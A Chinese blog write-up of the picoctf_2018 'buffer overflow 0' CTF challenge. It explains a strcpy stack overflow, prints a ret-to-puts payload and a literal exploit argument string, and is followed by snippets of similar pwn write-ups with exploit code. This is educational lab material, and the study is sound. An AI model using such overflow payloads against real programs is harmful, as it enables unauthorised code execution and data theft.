[BUUCTF]PWN——picoctf_2018_buffer overflow 0

最新推荐文章于 2022-04-23 22:17:48 发布
最新推荐文章于 2022-04-23 22:17:48 发布
阅读量476 收藏
点赞数 1
分类专栏： PWN BUUCTF刷题记录
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mcmuyanga/article/details/114576788
版权

picoctf_2018_buffer overflow 0

附件
在这里插入图片描述

步骤

  1. 例行检查，32位程序，开启了nx保护
    在这里插入图片描述
  2. 提示要ssh链接
    在这里插入图片描述
  3. ssh连上后稍微尝试了一下，好像vuln这个程序能读出flag
    在这里插入图片描述
  4. 32为ida载入测试文件
    在这里插入图片描述
    百度一下signal，得知11是（SIGSEGV），对存储的无效访问的信号。
    15行的意思是设置了一个函数sigsegv_handler来处理当程序产生对存储的无效访问。
    在这里插入图片描述
    就是说当程序造成无效内存访问的时候，就会输出flag。
    在往下看vuln函数
    在这里插入图片描述
    将src拷贝到dest中，这边可以造成溢出
    有两种解决方法：
    1.将ret覆盖成put，然后输出flag地址上的值,
    payload=‘a’*(0x18+4)+p32(puts)+p32(0)+p32(flag_addr)
    在这里插入图片描述
    在这里插入图片描述
    ./vuln aaaaaaaaaaaaaaaaaaaaaaaa\xc0\x84\x04\x08\x00\x00\x00\x00\x80\xa0\x04\x08
    在这里插入图片描述
    2.上面分析了当造成访问内存错误的时候也会输出flag，由于vlun的溢出，我们可以容易的造成非法内存访问
    在这里插入图片描述
Angel~Yan
关注
专栏目录
BUUCTF：[Black Watch 入群题]PWN（write up）
qq_44768749的博客
08-23 949
BUUCTF：[Black Watch 入群题]PWN0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp0x06 栈迁移补充32位程序 0x01 文件分析 开启了栈不可执行 0x02 运行 运行一下没什么特殊的，猜测应该是栈溢出 0x03 IDA 虽然buf在栈上但输入的长度仅仅能够覆盖ebp和返回地址，但s在bss段，而且输入的长度也够长，因此想到了栈迁移，覆盖vul_function返回地址，使其到bss段上执行 0x04 思路 s在bss段上的地址为0
BUUCTF pwn——pwnable_orw
CNS-Enterprise BCC-1701-J
05-06 292
BUUCTF 做题练习
[BUUCTF-pwn]——picoctf_2018_buffer overflow 0
Y_peak的博客
04-28 429
[BUUCTF-pwn]——picoctf_2018_buffer overflow 0 好久不写BUU了，手都快生了赶快过来写写。 通过观察源文件发现，首先有put函数不需要去libc中找，同时argv肯定大于1，也就是需要至少两个参数，才可以到else语句，同时vuln函数的参数是第二个参数。 进入vuln函数内部看看，找到strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出，以此调用puts函数打印flag.因为flag在bss段上。 from pwn imp
BUUCTF--pwn picoctf_2018_buffer overflow 0
半岛铁盒的博客
04-30 443
来查看信号函数代表的含义: 11是 SIGSEGV，表示对存储的无效访问 点进去sigsegv_handler 同时将flag的值赋予了stderr 现在知道那个信号函数的作用是: 当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出 再往下有个 vuln函数 有两种解题方式 方法一: 经过前面的分析,我们知道了当发生了对 内存存储无效的访问会将flag打印出来 首先ssh链接,输入密码后 方法二:将ret覆盖成put，然后输出flag地址上的值, from pwn im..
picoctf_2018_buffer overflow 0
z1r0的博客
02-14 431
picoctf_2018_buffer overflow 0 查看保护 这里会将flag输入到flag这个全局变量里，还有一个signal信号11。表示对存储的无效访问 这里的话将flag写到stderr中。然后fflush(stdeer)刷新标准错误输出缓冲区，把输出缓冲区里的东西打印到标准输出设备上 ，也就是会打印flag。其实就是当程序造成无效内存访问的时候，就会输出flag。 接着再输入参数，放到vuln函数里 这里有一个栈溢出，因为输入的参数可以无限长，所以在执行栈溢出时，程序会造成无效内
BUUCTF：PicoCTF_2018_buffer_overflow_1
weixin_51055545的博客
01-05 1385
先放进虚拟机中检查： 任何保护机制都没开，放到32位IDA中： 主函数很简单，进入vuln()函数看一下: 很明显有溢出，进入栈中看偏移： 这里偏移为0x28，我们思路是第一次溢出，去泄露libc地址，再次进行溢出get shell。 第一次溢出： io.recvuntil(':') payload = 'A'*0X28 payload += p32(0) payload += p32(printf) payload += p32(main) payload += p32(elf.got.
[BUUCTF]PWN-wdb_2018_3rd_soEasy
红凳子的博客
05-07 466
[BUUCTF]PWN-wdb_2018_3rd_soEasy前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。 提示：以下是本篇文章正文内容，下面案例可供参考 一、pandas是什么？ 二、使用步骤 1.引入库 代码如下（示例）： import numpy as np import pandas as pd impo
BUUCTF-pwn2_sctf_2016
weixin_44145820的博客
03-06 1023
这题利用的是负数转无符号数造成缓冲区溢出，以及泄露libc基地址执行ROP 题目分析 由于NX开启，我们考虑使用ROP，Canary没有打开使得这题变得很方便 下面是vuln函数： 在该函数中，程序读入一个字符串并转化为带符号整形（signed int），这时，如果我们输入负数可以避开不能大于32的检查 在get_n函数中，读入长度被强制转换为unsigned int，此时-1变成了42949...
BUUCTF PWN get_started_3dsctf_2016
Rt1Text的博客
04-23 365
1.checksec +运行 32位/NX保护 2.32位IDA 1.main函数 gets()函数溢出 跟进v4看看偏移 offset=0x38 这个题有些不同,看看调用函数的汇编 该题没有用ebp寻址,用的是esp寻址 也就是说不需要覆盖ebp四字节 这就说明有时候后卡住回去仔细看看汇编 2.get_flag if ( a1 == 814536271 && a2 == 425138641 ) a1/a2满足条件即可得到flag.tx...
BUUCTF：picoctf_2018_rop chain（write up）
qq_44768749的博客
08-26 1317
BUUCTF：picoctf_2018_rop chain0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp关键代码说明 0x01 文件分析 32位程序，开启了栈不可执行、部分RELRO保护 0x02 运行 输入一串字符串，根据题名也知道需要构造ROP 0x03 IDA 主函数 vuln函数 漏洞点：没有限制输入字符串长度 flag函数 win_function1函数 win_function2函数 0x04 思路 flag函数为后门函数
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2
Y_peak的博客
03-17 439
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2 简单的栈溢出，不过需要将参数自己设置而已 注意负数如何转换为补码， 不知道也可以直接在汇编里面找 from pwn import * p = remote('node3.buuoj.cn',28931) a1 = 0xdeadbeef a2 = 0xdeadc0de payload = 'a' * (0x6c + 4) + p32(0x080485CB) + p32(0)+ p32(a1) + p32(a2) p.re
PicoCTF_2018_buffer_overflow_1
m0sway的博客
11-28 453
PicoCTF_2018_buffer_overflow_1 使用checksec查看： 保护机制全关，看起来没啥难度。 扔进IDA中查看： 主函数中给出了漏洞函数，跟进查看： gets()函数，栈溢出，s距离ebp0x28 查看下这题的字符串可以发现函数win()： 能够直接获取到flag，直接秒了这题。 exp： from pwn import * #start # r = process("../buu/PicoCTF_2018_buffer_overflow_1") r = remote
PicoCTF_2018_buffer_overflow_3(本地固定canary的爆破)
seaaseesa的博客
05-01 878
PicoCTF_2018_buffer_overflow_3 用IDA分析一下程序，程序从一个固定文件里读取数据，作为canary的值。 由于文件内容不变，所以，我们可以直接爆破。 #coding:utf8 from pwn import * shell = ssh(host='node3.buuoj.cn', user='CTFMan', port=27525, passwor...
[BUUCTF-pwn]——picoctf_2018_buffer overflow 1
Y_peak的博客
03-16 346
[BUUCTF-pwn]——picoctf_2018_buffer overflow 1 简单的栈溢出， 返回地址，设置为win就好 exploit from pwn import * p = remote("node3.buuoj.cn",25059) payload = 'a' * (0x28 + 4) + p32(0x080485CB) p.sendline(payload) p.interactive()
BUUCTF：PicoCTF_2018_buffer_overflow_2
weixin_51055545的博客
01-05 945
例行检查程序： 还是32位程序，没有canary，很可能是溢出类的。 放到IDA中： 主函数没什么特别，进入vuln()函数看一下： 果然存在溢出漏洞，两次溢出，直接去get shell 第一次溢出去泄露libc地址，第二次溢出get shell 这里我选怎printf()函数作为泄露的函数，同样也可以选择puts()函数， 构造payload ： io.recvuntil(':') payload = 'A'*0x6c payload += p32(0) payload += p32(
PicoCTF_2018_buffer_overflow_2
m0sway的博客
11-29 396
PicoCTF_2018_buffer_overflow_2 使用checksec查看： 开启了栈不可执行，放进IDA中查看，其实和PicoCTF_2018_buffer_overflow_1没啥变化 唯一做了变动的是win()函数： 上一题是直接跳到这个函数就能读取到flag，这题需要给win()函数两个参数a1、a2 a1需要等于0xDEADBEEF a2需要等于0xDEADC0DE 才能读取到flag。 那么直接传参即可，秒了。 exp： from pwn import * #start r
picoctf_2018_buffer_overflow_2
z1r0的博客
12-11 205
picoctf_2018_buffer_overflow_2 查看保护 有溢出，还有一个getflag函数，但是想要利用需要给两个参数，结合32位下的系统调用规则即可get flag from pwn import * context(arch='i386', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 27317) else:
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值